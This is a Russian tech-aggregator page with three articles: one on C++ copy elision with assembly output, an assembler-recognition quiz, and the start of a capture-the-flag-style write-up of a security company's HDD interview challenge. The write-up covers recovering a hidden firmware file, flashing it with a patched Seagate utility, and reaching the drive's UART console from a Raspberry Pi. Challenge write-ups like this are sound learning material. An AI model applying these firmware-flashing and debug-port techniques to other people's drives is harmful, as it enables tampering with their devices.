Русский
Русский
English
Статистика
Реклама

Assembler

Перевод Печальная правда о пропуске копий в C

14.04.2021 16:05:26 | Автор: admin


Пропуск копий (copy elision) это оптимизация компилятора, которая, как и следует из имени, устраняет лишние операции копирования и перемещения. Она аналогична классической оптимизации размножения копий, но выполняется конкретно для объектов C++, которые могут иметь нестандартные конструкторы копирования и перемещения. В этой статьей я продемонстрирую пример, в котором очевидная ожидаемая от компилятора оптимизация на практике не происходит.

Ввод дополнительной переменной для разрыва строки


Предположим, что у нас есть длинный вызов функции, возвращающий объект, который нужно мгновенно передать другой функции так:

#include <string>#include <string_view>// Тип данных, который дорого копировать, непросто удалить и невозможно переместитьstruct Widget {  std::string s;};void consume(Widget w);Widget doSomeVeryComplicatedThingWithSeveralArguments(  int arg1, std::string_view arg2);void someFunction() {    consume(doSomeVeryComplicatedThingWithSeveralArguments(123, "hello"));}

Как видно из сгенерированного кода ассемблера, здесь все отлично:

someFunction():                      # @someFunction()        pushq   %rbx        subq    $32, %rsp        movq    %rsp, %rbx        movl    $5, %edx        movl    $.L.str, %ecx        movq    %rbx, %rdi        movl    $123, %esi        callq   doSomeVeryComplicatedThingWithSeveralArguments(int, std::basic_string_view<char, std::char_traits<char> >)        movq    %rbx, %rdi        callq   consume(Widget)        movq    (%rsp), %rdi        leaq    16(%rsp), %rax        cmpq    %rax, %rdi        je      .LBB0_2        callq   operator delete(void*).LBB0_2:        addq    $32, %rsp        popq    %rbx        retq.L.str:        .asciz  "hello"

Временный Widget, возвращаемый из doSomeVeryComplicatedThingWithSeveralArguments, создается в области стека, которую под него выделила someFunction. Затем, как объяснялось в статье о правилах передачи параметров (англ.), указатель на эту область стека передается напрямую для использования.

Теперь представьте, что строка функции someFuncton показалась вам слишком длинной, или что вы хотите дать результату doSomeVeryComplicatedThingWithSeveralArguments описательное имя, для чего меняете код:

void someFunctionV2() {    auto complicatedThingResult =        doSomeVeryComplicatedThingWithSeveralArguments(123, "hello");    consume(complicatedThingResult);}

Естественно, все съезжает:

someFunctionV2():                    # @someFunctionV2()        pushq   %r15        pushq   %r14        pushq   %r12        pushq   %rbx        subq    $72, %rsp        leaq    40(%rsp), %rdi        movl    $5, %edx        movl    $.L.str, %ecx        movl    $123, %esi        callq   doSomeVeryComplicatedThingWithSeveralArguments(int, std::basic_string_view<char, std::char_traits<char> >)        leaq    24(%rsp), %r12        movq    %r12, 8(%rsp)        movq    40(%rsp), %r14        movq    48(%rsp), %rbx        movq    %r12, %r15        cmpq    $16, %rbx        jb      .LBB1_4        testq   %rbx, %rbx        js      .LBB1_13        movq    %rbx, %rdi        incq    %rdi        js      .LBB1_14        callq   operator new(unsigned long)        movq    %rax, %r15        movq    %rax, 8(%rsp)        movq    %rbx, 24(%rsp).LBB1_4:        testq   %rbx, %rbx        je      .LBB1_8        cmpq    $1, %rbx        jne     .LBB1_7        movb    (%r14), %al        movb    %al, (%r15)        jmp     .LBB1_8.LBB1_7:        movq    %r15, %rdi        movq    %r14, %rsi        movq    %rbx, %rdx        callq   memcpy.LBB1_8:        movq    %rbx, 16(%rsp)        movb    $0, (%r15,%rbx)        leaq    8(%rsp), %rdi        callq   consume(Widget)        movq    8(%rsp), %rdi        cmpq    %r12, %rdi        je      .LBB1_10        callq   operator delete(void*).LBB1_10:        movq    40(%rsp), %rdi        leaq    56(%rsp), %rax        cmpq    %rax, %rdi        je      .LBB1_12        callq   operator delete(void*).LBB1_12:        addq    $72, %rsp        popq    %rbx        popq    %r12        popq    %r14        popq    %r15        retq.LBB1_13:        movl    $.L.str.2, %edi        callq   std::__throw_length_error(char const*).LBB1_14:        callq   std::__throw_bad_alloc().L.str:        .asciz  "hello".L.str.2:        .asciz  "basic_string::_M_create"

Теперь берем наш идеальный Widget, complicatedThingResult, и копируем его в новый временный Widget, который будет передаваться в качестве первого аргумента. По завершении всех действий нужно будет удалить два Widget: complicatedThingResult и безымянный временный Widget, который мы передавали для использования. Вы можете ожидать, что компилятор оптимизирует someFunctionV2(), сделав ее подобной someFunction, но этого не произойдет.

Проблема, конечно же, в том, что мы забыли выполнить std::move complicatedThingResult:

void someFunctionV3() {    auto complicatedThingResult =        doSomeVeryComplicatedThingWithSeveralArguments(123, "hello");    consume(std::move(complicatedThingResult));}

И теперь сгенерированный код ассемблера выглядит в точности, как наш исходный пример. Постойте-качто?

someFunctionV3():                    # @someFunctionV3()        pushq   %r14        pushq   %rbx        subq    $72, %rsp        leaq    8(%rsp), %rdi        movl    $5, %edx        movl    $.L.str, %ecx        movl    $123, %esi        callq   doSomeVeryComplicatedThingWithSeveralArguments(int, std::basic_string_view<char, std::char_traits<char> >)        leaq    56(%rsp), %r14        movq    %r14, 40(%rsp)        movq    8(%rsp), %rax        leaq    24(%rsp), %rbx        cmpq    %rbx, %rax        je      .LBB1_1        movq    %rax, 40(%rsp)        movq    24(%rsp), %rax        movq    %rax, 56(%rsp)        jmp     .LBB1_3.LBB1_1:        movups  (%rax), %xmm0        movups  %xmm0, (%r14).LBB1_3:        movq    16(%rsp), %rax        movq    %rax, 48(%rsp)        movq    %rbx, 8(%rsp)        movq    $0, 16(%rsp)        movb    $0, 24(%rsp)        leaq    40(%rsp), %rdi        callq   consume(Widget)        movq    40(%rsp), %rdi        cmpq    %r14, %rdi        je      .LBB1_5        callq   operator delete(void*).LBB1_5:        movq    8(%rsp), %rdi        cmpq    %rbx, %rdi        je      .LBB1_7        callq   operator delete(void*).LBB1_7:        addq    $72, %rsp        popq    %rbx        popq    %r14        retq.L.str:        .asciz  "hello"

У нас по-прежнему есть два Widget, только временный передаваемый аргумент теперь перемещен конструктором. Первая версия someFunction все еще оказывается меньше и быстрее!

Что же здесь происходит?


Суть проблемы пропуска копий в том, что он допускается только в определенном списке случаев. (Говоря коротко, при RVO1 и инициализации из prvalue это происходит обязательно, при NRVO2 и в ряде случаев с исключениями и сопрограммами пропуск считается допустимым. Все.). На то есть философская причина: вы написали для класса конструктор копирования, который может делать все, и ожидаете, что, согласно правилам C++, он будет выполняться при каждом копировании этого класса. Если компиляторы будут непредсказуемым образом удалять копии, тем самым также удаляя пары конструкторов & деструкторов копирования/перемещения, то это может привести к нарушению кода.

Говоря конкретно, в приведенном списке допускающих пропуск копий ситуаций нет таких, которые бы соответствовали рассмотренным нами примерам. В этот список не включены такие случаи, как последнее использование переменной перед ее выходом из области или передача переменной в функцию по значению, когда других действий с ней не предпринималось, то есть очевидно, что данная операция безопасна. Возможно, в будущем такие ситуации будут учтены, но в C++20 и более ранних версиях этого точно нет.

1. RVO (return value optimization) оптимизация возвращаемого значения.
2. NRVO (named return value optimization) оптимизация именованного возвращаемого значения.

Подробнее..

Перевод Уверены, что отличите ассемблер от других языков?

30.04.2021 18:12:21 | Автор: admin


Немногие смело признают, что могут ошибиться в идентификации ассемблера, ведь это по-своему особенный язык. Однако не спешите с выводами, а лучше пройдите небольшой тест, который не просто позволит взгялуть на него в ином свете, но и проверит вашу осведомленность в этой сфере.

Программирование на ассемблере сегодня в лучшем случае занимает нишевое положение и чаще воспринимается как неоправданно педантичное, требовательное и затратное даже для своей ниши.

Ассемблер непрост. Он недружелюбен. Программирование на этом языке происходит медленно и зачастую сопряжено с ошибками таково общепринятое мнение.

К сожалению, в современной цифровой среде исходит это мнение от людей, которые, как правило, плохо представляют, как реально выглядят современные языки ассемблера. Этот стиль программирования не застрял в 50-х, он развивался вместе с высокоуровневыми языками, вбирая в себя структурные, функциональные и объектно-ориентированные элементы. Он отлично дружит с современными API и DOM. Конечно же, принципиально это низкоуровневый язык, но вы можете с тем же успехом создавать поверх него и высокоуровневые абстракции.

Честно говоря, я даже не уверен, что кто-нибудь сможет легко отличить код ассемблера от какого-нибудь высокоуровневого кода без помощи гугла. Вот вы сможете?

1. GUI


Ниже приведен фрагмент кода. Он создает окно с WinAPI и запускает для него цикл обработки сообщений.

Прошу вас, ознакомьтесь с ним и ответьте, написан ли он на одном из видов ассемблера или же на высокоуровневом языке?

nMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD    LOCAL wc:WNDCLASSEX       ; создает локальные переменные в стеке     LOCAL msg:MSG    LOCAL hwnd:HWND    mov   wc.cbSize,SIZEOF WNDCLASSEX      ; заполняет значения в членах wc     mov   wc.style, CS_HREDRAW or CS_VREDRAW    mov   wc.lpfnWndProc, OFFSET WndProc    mov   wc.cbClsExtra,NULL    mov   wc.cbWndExtra,NULL    push  hInstance    pop   wc.hInstance    mov   wc.hbrBackground,COLOR_WINDOW+1    mov   wc.lpszMenuName,NULL    mov   wc.lpszClassName,OFFSET ClassName    invoke LoadIcon,NULL,IDI_APPLICATION    mov   wc.hIcon,eax    mov   wc.hIconSm,eax    invoke LoadCursor,NULL,IDC_ARROW    mov   wc.hCursor,eax    invoke RegisterClassEx, addr wc        ; регистрирует класс window     invoke CreateWindowEx,NULL,        ADDR ClassName, ADDR AppName,\        WS_OVERLAPPEDWINDOW,\        CW_USEDEFAULT, CW_USEDEFAULT,\        CW_USEDEFAULT, CW_USEDEFAULT,\        NULL, NULL, hInst, NULL    mov   hwnd,eax    invoke ShowWindow, hwnd,CmdShow        ; отображает окно на рабочем столе     invoke UpdateWindow, hwnd              ; обновляет клиентскую область    .WHILE TRUE                            ; вход в цикл сообщений                 invoke GetMessage, ADDR msg,NULL,0,0                .BREAK .IF (!eax)                invoke TranslateMessage, ADDR msg                invoke DispatchMessage, ADDR msg   .ENDW    mov     eax,msg.wParam                 ; возврат кода выхода в eax     retWinMain endp

Это ассемблер
Код написан на MASM32, который, по сути, является набором макросов и библиотек поверх Microsoft Assembler. Он чудесно работает с WinAPI и прост в освоении. И хотя обслуживание крупных приложений с его помощью все еще вызывает сложности, создание простых, чистых и быстрых программ на этом языке дается без проблем.
Источник: Iczelion's Win32 Assembly Homepage, Tutorial 3: A Simple Window. win32assembly.programminghorizon.com/tut3.html

Это что-то другое
Код написан на MASM32, который, по сути, является набором макросов и библиотек поверх Microsoft Assembler. Он чудесно работает с WinAPI и прост в освоении. И хотя обслуживание крупных приложений с его помощью все еще вызывает сложности, создание простых, чистых и быстрых программ на этом языке дается без проблем.
Источник: Iczelion's Win32 Assembly Homepage, Tutorial 3: A Simple Window. win32assembly.programminghorizon.com/tut3.html


2. Библиотеки


Ниже дан пример функциональной библиотеки. Функция add просто складывает два целых числа и возвращает их сумму.

(module  (func $add (param $lhs i32) (param $rhs i32) (result i32)    get_local $lhs    get_local $rhs    i32.add)  (export "add" (func $add)))

Это ассемблер
Это WebAssembly. И хотя основная его идея состоит в предоставлении двоичного кода для веб независимо от исходного языка, он и сам по себе является вполне легитимным языком ассемблера. В нем можно непосредственно писать программы для веб, и он может сам выступать исходным языком.
Источник: примеры WebAssembly с официального сайта: developer.mozilla.org/en-US/docs/WebAssembly.

Это что-то другое
Это WebAssembly. И хотя основная его идея состоит в предоставлении двоичного кода для веб независимо от исходного языка, он и сам по себе является вполне легитимным языком ассемблера. В нем можно непосредственно писать программы для веб, и он может сам выступать исходным языком.
Источник: примеры WebAssembly с официального сайта: developer.mozilla.org/en-US/docs/WebAssembly.


3. Алгоритмы


Это реализация алгоритма TPK. Она содержит функцию, несколько циклов, массив и инструкцию вывода в консоль.

1   c@VA t@IC x@C y@RC z@NC2   INTEGERS +5 c3           t4       +t      TESTA Z5       -t6               ENTRY Z7   SUBROUTINE 6z8       +ttyz9       +txyx10  +z+cx   CLOSE WRITE 111  a@/ b@MA c@GA d@OA e@PA f#HA i@VE x@ME12  INTEGERS +20 b +10 c +400 d +999 e +1 f13  LOOP 10n14      nx15  +b-xx16      xq17  SUBROUTINE 5 aq18  REPEAT n16      +c i20  LOOP 10n21      +an SUBROUTINE 1 y22      +d-y TESTA Z23      +i SUBROUTINE 324      +e SUBROUTINE 425              CONTROL X26              ENTRY Z27      +i SUBROUTINE 328      +y SUBROUTINE 429              ENTRY X30      +ifi31  REPEAT n32  ENTRY A CONTROL A WRITE 2 START 2

Это ассемблер
Это не ассемблер. Перед вами разработка Алика Гленни AUTOCODE один из первых высокоуровневых языков.
источник: The Early Development Of Programming Languages by Donald E. Knuth, Luis Trabb Pardo, 1976.

Кстати, TPK означает Typical Pardo Knuth (типичный Пардо Кнут, от имени его создателя) Это не настоящий алгоритм, и создавался он для демонстрации нескольких языков в одном примере.

Это что-то другое
Это не ассемблер. Перед вами разработка Алика Гленни AUTOCODE один из первых высокоуровневых языков.
источник: The Early Development Of Programming Languages by Donald E. Knuth, Luis Trabb Pardo, 1976.
Кстати, TPK означает Typical Pardo Knuth (типичный Пардо Кнут, от имени его создателя) Это не настоящий алгоритм, и создавался он для демонстрации нескольких языков в одном примере.


4. Структурное программирование


Вот пример вычисления суперскалярной суммы.

v0 = my_vector              // нам нужна горизонтальная сумма следующегоint64 r0 = get_len ( v0 )int64 r0 = round_u2 ( r0 )float v0 = set_len ( r0 , v0 )while ( uint64 r0 > 4) {uint64 r0 > >= 1float v1 = shift_reduce ( r0 , v0 )float v0 = v1 + v0}// Теперь сумма представлена скаляром в v0 

Это ассемблер
Это язык ассемблера ForwardCom. Агнер Фог, который, помимо прочего, является автором популярных мануалов оптимизации и живым вдохновением для всех нас, позиционирует этот синтаксис как более дружественный для программистов. По существу, он не предназначен для компьютеров, но раз Си оказывается для большинства людей более удобен, чем операционный код, то идея сделать программирование на ассемблере более Си-подобным выглядит вполне актуальной.
Источник: примеры кода из ForwardCom: An open-standard instruction set for high-performance microprocessors by Agner Fog.

Это что-то другое
Это язык ассемблера ForwardCom. Агнер Фог, который, помимо прочего, является автором популярных мануалов оптимизации и живым вдохновением для всех нас, позиционирует этот синтаксис как более дружественный для программистов. По существу, он не предназначен для компьютеров, но раз Си оказывается для большинства людей более удобен, чем операционный код, то идея сделать программирование на ассемблере более Си-подобным выглядит вполне актуальной.
Источник: примеры кода из ForwardCom: An open-standard instruction set for high-performance microprocessors by Agner Fog.


5. Еще структурное программирование


Это решение задачи о восьми ферзях с выводом в консоль. Его платформенная зависимость минимальна, но при этом оно не обогащено высокоуровневыми возможностями вроде классов, шаблонов или встроенных контейнеров.

GET "LIBHDR"GLOBAL $(        COUNT: 200        ALL: 201$)LET TRY(LD, ROW, RD) BE        TEST ROW = ALL THEN                COUNT := COUNT + 1        ELSE $(                LET POSS = ALL & ~(LD | ROW | RD)                UNTIL POSS = 0 DO $(                        LET P = POSS & -POSS                        POSS := POSS - P                        TRY(LD + P << 1, ROW + P, RD + P >> 1)                $)        $)LET START() = VALOF $(        ALL := 1        FOR I = 1 TO 12 DO $(                COUNT := 0                TRY(0, 0, 0)                WRITEF("%I2-QUEENS PROBLEM HAS %I5 SOLUTIONS*N", I, COUNT)                ALL := 2 * ALL + 1        $)        RESULTIS 0$)

Это ассемблер
Это не ассемблер. Знакомьтесь это BCPL язык, на основе которого родился B и Си. А из Си, как вы знаете, произошел C++, Java, C# и даже в некотором смысле JavaScript. Это высокоуровневый язык, который не так уж стар. Появился он после Fortran, Algol, Cobol, Lisp, APL. Его сильной стороной в свое время была простота, но не передовые возможности. Тем не менее самая первая программа Hello World была написана именно на BCPL. То же касается и первой MMORPG.
Источник: BCPL From Wikipedia, the free encyclopedia.

Это что-то другое
Это не ассемблер. Знакомьтесь это BCPL язык, на основе которого родился B и Си. А из Си, как вы знаете, произошел C++, Java, C# и даже в некотором смысле JavaScript. Это высокоуровневый язык, который не так уж стар. Появился он после Fortran, Algol, Cobol, Lisp, APL. Его сильной стороной в свое время была простота, но не передовые возможности. Тем не менее самая первая программа Hello World была написана именно на BCPL. То же касается и первой MMORPG.
Источник: BCPL From Wikipedia, the free encyclopedia.


6. ООП (с классами и методами)


Вот ассемблер .NET (не путать с ассемблером в языке ассемблера). Он состоит из одного модуля с одним классом, имеющим один метод, который выводит в консоль Hello World.

// Metadata version: v2.0.50215.assembly extern mscorlib{  .publickeytoken = (B7 7A 5C 56 19 34 E0 89 )  .ver 2:0:0:0}.assembly sample{  .custom instance void [mscorlib]System.Runtime.CompilerServices    .CompilationRelaxationsAttribute::.ctor(int32) =      ( 01 00 08 00 00 00 00 00 )  .hash algorithm 0x00008004  .ver 0:0:0:0}.module sample.exe// MVID: {A224F460-A049-4A03-9E71-80A36DBBBCD3}.imagebase 0x00400000.file alignment 0x00000200.stackreserve 0x00100000.subsystem 0x0003       // WINDOWS_CUI.corflags 0x00000001    //  ILONLY// Image base: 0x02F20000// =============== CLASS MEMBERS DECLARATION ===================.class public auto ansi beforefieldinit Hello       extends [mscorlib]System.Object{  .method public hidebysig static void  Main(string[] args) cil managed  {    .entrypoint    // Размер кода       13 (0xd)    .maxstack  8    IL_0000:  nop    IL_0001:  ldstr      "Hello World!"    IL_0006:  call       void [mscorlib]System.Console::WriteLine(string)    IL_000b:  nop    IL_000c:  ret  } // конец метода Hello::Main  .method public hidebysig specialname rtspecialname          instance void  .ctor() cil managed  {    // Размер кода       7 (0x7)    .maxstack  8    IL_0000:  ldarg.0    IL_0001:  call       instance void [mscorlib]System.Object::.ctor()    IL_0006:  ret  } // конец метода Hello::.ctor} // конец класса Hello

Это ассемблер
Да, это ассемблер, написанный на ассемблере. Это ILAsm (промежуточный язык ассемблера), который ассемблируется в промежуточный язык .NET.
Вы вольны использовать все возможности .NET: GUI, обращение к базе данных, сетевые функции все это при одновременном наличии низкоуровневого контроля деталей. Да, такой вариант может показаться чересчур многословным и неоправданно подробным, но все равно он представляет весьма мощный вариант ассемблера. Помимо классов и методов в качестве встроенных типов он предлагает исключения и строки.
Источник: docs.microsoft.com/en-us/dotnet/framework/tools/ilasm-exe-il-assembler.
Бессовестная реклама: пару лет назад я начал вводить в ILAsm макросы, создавая MILasm. Это вполне рабочее доказательство концепции. С ним интересно играться, хотя для продакшена он не совсем готов ввиду наследственных проблем с производительностью.

Это что-то другое
Да, это ассемблер, написанный на ассемблере. Это ILAsm (промежуточный язык ассемблера), который ассемблируется в промежуточный язык .NET.
Вы вольны использовать все возможности .NET: GUI, обращение к базе данных, сетевые функции все это при одновременном наличии низкоуровневого контроля деталей. Да, такой вариант может показаться чересчур многословным и неоправданно подробным, но все равно он представляет весьма мощный вариант ассемблера. Помимо классов и методов в качестве встроенных типов он предлагает исключения и строки.
Источник: docs.microsoft.com/en-us/dotnet/framework/tools/ilasm-exe-il-assembler.
Бессовестная реклама: пару лет назад я начал вводить в ILAsm макросы, создавая MILasm. Это вполне рабочее доказательство концепции. С ним интересно играться, хотя для продакшена он не совсем готов ввиду наследственных проблем с производительностью.


7. ООП (с объектами и сообщениями)


Это пример TCP-сервера. В нем есть объекты и методы, а работает он в собственной среде.

Namespace current addSubspace: #SimpleTCP!Namespace current: SimpleTCP!"A simple TCP server"Object subclass: #Server  instanceVariableNames: 'serverSocket socketHandler'  classVariableNames: ''  poolDictionaries: ''  category: ''!!Server class methodsFor: 'instance creation'!new: aServerSocket handler: aHandler  | simpleServer |  simpleServer := super new.  simpleServer socket: aServerSocket.  simpleServer handler: aHandler.  simpleServer init.  ^simpleServer!!!Server methodsFor: 'initialization'!init  ^self!!!Server methodsFor: 'accessing'!socket  ^serverSocket!socket: aServerSocket  serverSocket := aServerSocket.  ^self!handler  ^socketHandler!handler: aHandler  socketHandler := aHandler.  ^self!!!Server methodsFor: 'running'!run  | s |  [    serverSocket waitForConnection.    s := (serverSocket accept).    self handle: s  ] repeat!!Server methodsFor: 'handling'!handle: aSocket  socketHandler handle: aSocket!!

Это ассемблер
Это не ассемблер. Перед вами GNU SmallTalk один из наиболее влиятельных ранних языков ООП. У него не совсем удобный синтаксис, но с программированием на ассемблере ничего общего этот язык не имеет. Более того, он максимально далек от низкоуровневого платформо-зависимого программирования.
Источник: Building a simple chat server with GNU Smalltalk using class inheritance из smalltalk.gnu.org/wiki/examples\

Это что-то другое
Это не ассемблер. Перед вами GNU SmallTalk один из наиболее влиятельных ранних языков ООП. У него не совсем удобный синтаксис, но с программированием на ассемблере ничего общего этот язык не имеет. Более того, он максимально далек от низкоуровневого платформо-зависимого программирования.
Источник: Building a simple chat server with GNU Smalltalk using class inheritance из smalltalk.gnu.org/wiki/examples\


Заключение


Современное программирование на ассемблере не обязательно связано с инструкциями процессора и регистрами. Да, код всегда начинается с низов, но его можно оснастить функциями, классами и макросами, сделав до нужной степени высокоуровневым.

Программировать на этом языке не всегда трудно, и он не всегда оказывается чрезмерно педантичен. Просто каждому нужно подобрать подходящий для работы уровень.

Подробнее..

Ломаем зашифрованный диск для собеседования от RedBalloonSecurity. Part 0

26.03.2021 10:08:08 | Автор: admin

По мотивам

Темная сторона

В нашей жизни существуют моменты, когда все тихо. Все переменные соблюдены и выровнены, а существование давно не преподносит перемен: все люди, которые рядом уже давно стали друзьями, или близкими знакомыми. Со мной так и произошло, и я этому чертовски счастлив - это стоит невероятно дорого. Но осознание того, что наша жизнь конечна, порой заставляет задуматься "а что если?". Что если, все-таки, возможно выйти из привычного способа жизни и занять себя чем-то иным. Скажем так, прожить еще одну жизнь в рамках одной. Здесь и начинается наше приключение.

Контакт

Сидя в уютном офисе, меня посетила мысль пошерстить реддит (вот так вот просто - задумался о смысле жизни, и полез на реддит, с кем не бывает). Внезапно нашелся топик, на котором была уйма вакансий связанных с инфосеком, но все они требовали знаний стандартов, подходов к пентестингу, и прочей документо-связной лабуды. Но, одна из них мне приглянулась. Это была вакансия на security research интерна. Давая себе отчет, что я всего-навсего смотрел видосики в интернете о buffer-overflow'ах, меня посетила мысль, что на интерна я то уж точно сгожусь. Отправив простенькое рекомендательное письмо на публичный e-mail адрес компании, я получил ссылку на 2 картинки. На этих картинках был массив из 16-разрядых чисел. Собрав эти числа в hex-редакторе, я получил новый, уже не публичный e-mail адрес. Отправив еще одно письмо туда, ребята запросили мой адрес проживания. Светить свое место жительства с кем-то из интернета считается плохим тоном, но судьба распорядилась так, что в тот момент, место, где я жил было временным. Я, все-таки, решил рискнуть, и отправил ребятам страну, город и адрес. Через неделю со мной связался человек из UPS и сообщил, что для меня есть посылка.

Что в коробке?

Открыв заводской картон от UPS, меня ждала специальная коробка, которая защищала все, что внутри от статики и прочих наводок. Открыв ее я обнаружил кучу конфет, переходник SATA-USB3, распечатки инструкций и, самое главное, брендированный 3,5" HDD диск в зиплоке.

Инструкции

Тыц

Детально изучив документацию, я сложил у себя в голове следующую картину:

  1. Эта задачка является довольно таки успешным залогом того, что компания сильно обратит на тебя внимание

  2. По решению всех задач, откроются публичный и приватный ключи для биткоин кошелька с 0.1337 BTC

  3. Мало того, что нужно будет разобрать диск, так еще и кривизна рук должна быть соответственной, чтоб держать в руках паяльник

  4. Утилита для прошивки диска нестабильна. Нужно выждать минуту перед тем как его обесточивать после прошивки

  5. У меня есть 1 "звонок другу".

  6. В процессе загрузки диска участвуют 3 составляющие - главный IC, прошивка внутри Winbond Flash Chip, и данные на пластинах внутри жесткого диска

  7. У диска, помимо SATA power & SATA data, есть еще 4 pina

Содержимое

Подключив диск к своему Debian-неттопу, и глянув лог ядра я заметил, что диск разбит на 4 раздела. 1й был рабочим, и его можно было примаунтить, а вот 3 остальных имели смещенный адрес начала раздела. Таким образом ребята разбили челлендж на 4 уровня. Решая предыдущий, ты получаешь доступ к новому разделу, подсказкам и файлу прошивки, который и делает новый раздел доступным для монтирования.

root@ubuntu:~# dmesg...[ 4718.927084]  sdb: sdb1 sdb2 sdb3 sdb4[ 4718.927140] sdb: p2 start 20480000 is beyond EOD, truncated[ 4718.927140] sdb: p3 start 40960000 is beyond EOD, truncated[ 4718.927140] sdb: p4 start 81920000 is beyond EOD, truncated[ 4718.928123] sd 3:0:0:0: [sdb] Attached SCSI disk...

LEVEL0

Содержимое раздела:

root@ubuntu:/media/user/LEVEL0# file *level0_instructions.txt: UTF-8 Unicode textlevel1.md5:              ASCII textseaflashlin_rbs:         ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, stripped
root@ubuntu:/media/user/LEVEL0# cat level0_instructions.txtHeres where the challenge starts.1. Flash level_1.lod using the seaflash tool.2. Maybe a serial console to the drive would be useful?
root@ubuntu:/media/user/LEVEL0# cat level1.md5 cbf06ad97efb847d040d178ae953715c  ../2020-10-13-lods//1//level_1.lod

В общем, меня ждала контрольная сумма для файла прошивки от первого уровня, утилита для прошивки, и инструкция что делать. Утилита прошивки имеет окончание rbs - это значит, ребята ее пропатчили чтоб она могла прошивать диск измененной прошивкой. Предварительно проверив ее на virustotal.com я пришел в замешательство. Файла прошивки нету!

Одна из инструкций говорила о поврежденных файлах. Файловая система на диске оказалась FAT32. Я нашел программу testdisk, один из функционалов которой включает в себя поиск поврежденных данных. Направив ее на /dev/sdb1, файл прошивки нашелся.

TestDisk 7.0, Data Recovery Utility, April 2015Christophe GRENIER <grenier@cgsecurity.org>http://www.cgsecurity.org   P FAT32                    0   0  1  1337  63 31    2740223 [LEVEL0]Directory />-rwxr-xr-x     0     0       139 21-Oct-2020 00:35 level0_instructions.txt -rwxr-xr-x     0     0    104280 21-Oct-2020 00:35 seaflashlin_rbs -rwxr-xr-x     0     0   1014784 21-Oct-2020 00:42 level_1_makesureitsnotcorrupted.lod -rwxr-xr-x     0     0   1014784 21-Oct-2020 00:42 level_1_thankyoumd5.lod -rwxr-xr-x     0     0        69 21-Oct-2020 00:42 level1.md5

Сверив контрольную сумму level_1_makesureitsnotcorrupted.lod с содержимым level1.md5 я понял, что это оно. Восстановив файл, я подготовился прошивать диск. При включении подобного рода дисков, ядро не только делает доступным блочное устройство, но и создает устройство SCSI. Наша утилита seaflashlin_rbs видит это устройство как /dev/sg1. Предварительно скопировав утилиту и файл прошивки куда-то за пределы диска я начал переход на следующий уровень.

root@ubuntu:/home/user/Desktop# ./seaflashlin_rbs -i================================================================================ Seagate Firmware Download Utility v0.4.6 Build Date: Oct 26 2015 Copyright (c) 2014 Seagate Technology LLC, All Rights Reserved Tue Mar 23 20:49:37 2021================================================================================ATA       /dev/sg0 MN: APPLE SSD SM0256F       SN: S1K4NYBF685537       FW: JA1QST325031  /dev/sg1 MN: 2AS                     SN: 2F6112500220         FW: 0   StoreJet  /dev/sg2 MN: Transcend               SN: C3C3P79A1HXW         FW: 0   APPLE     /dev/sg3 MN: SD Card Reader          SN: 00000000             FW: 3.00
root@ubuntu:/home/user/Desktop# ./seaflashlin_rbs -f level_1_makesureitsnotcorrupted.lod -d /dev/sg1 ================================================================================ Seagate Firmware Download Utility v0.4.6 Build Date: Oct 26 2015 Copyright (c) 2014 Seagate Technology LLC, All Rights Reserved Tue Mar 23 19:25:42 2021================================================================================Flashing microcode file level_1_makesureitsnotcorrupted.lod to /dev/sg1 .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  :  !Microcode Download to /dev/sg1 SUCCESSFUL

Диск прекратил свое вращение, и буквально через 10 секунд включился снова. Выждав минуту, я его обесточил, и подал питание снова. При подключении ядро перестало опознавать диск! В логах я видел лишь записи по поводу USB-to-SATA переходника, но ни блочного, ни SCSI устройства не было. Я был полностью отрезан от устройства.

LEVEL1

Для выхода из сложившейся ситуации существовал лишь 1 вариант - разобратся с тем, что это за 4 pina, фотка которых есть в подсказках. Подобное нагуглить легко. И вуаля, GND, TX, RX.

На неттопе не оказалось UART интерфейса (нафиг там не нужен). Но, ситуация сложилась так, что у меня под рукой была Raspberry Pi 3b+. Поискав описание GPIO пинов, я все таки нашел на нем порты для UART.

Итого, нам необходимо сконтачить:
RPI TX (pin #10) -> HDD RX
RPI RX (pin #08) -> HDD TX
RPI GND (pin #06) -> HDD GND

Подключение к серийнику диска

Я использовал обыкновенные Female-Female провода. То, что нужно было воткнуть в диск я успешно заизолировал скотчем. Последний не изолировал поскольку в этом не было необходимости, да и находился он уж слишком близко к порту SATA data, и когда я подключал питание к диску, всетаки приходилось немного его ужимать.

Стоит упомянуть, что UART интерфейс должен быть включен, но возможность логинится через него должна быть отключена. Иначе, в консольник диска посыпятся данные от Login Prompt Raspbian. Для отключения, делаем следующее:
1. Запускаем raspi-config
2. Выбираем Interface Options
3. Выбираем Serial Port
4. Отвечаем "нет" на Would you like a login shell to be accessible over serial?
5. Отвечаем "да" на Would you like the serial port hardware to be enabled?
6. Перезагружаем Raspberry Pi

Далее, нам понадобится minicom для работы с Serial портом. Методом подбора, мне удалось выяснить скорость, парность и прочие параметры для серийника (хотя, их можно было и найти в интернете). Подключаемся к Serial порту:

root@rpi ~ # minicom -b 38400 -D /dev/ttyS0

И здесь я увидел тонны сообщений о том, что мне необходимо что-то пропатчить.

Welcome to minicom 2.7.1OPTIONS: I18n Compiled on Aug 13 2017, 15:25:34.Port /dev/ttyS0, 21:05:41Press CTRL-A Z for help on special keysRBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!CTRL-A Z for help | 38400 8N1 | NOR | Minicom 2.7.1 | VT102 | Offline | ttyS0                                        

Здесь ко мне дошло, что решение этой задачи очевидно хардварное. В подсказках была последняя страничка, на которой было видно 5 контактов. Сняв плату с диска я посмотрел на эти контакты и обратил внимание на то, куда они ведут. Все они шли на Winbond W25X40BLS02. Найдя datasheet по этому чипу, у меня получилось определить какая ножка чипа за что отвечает.

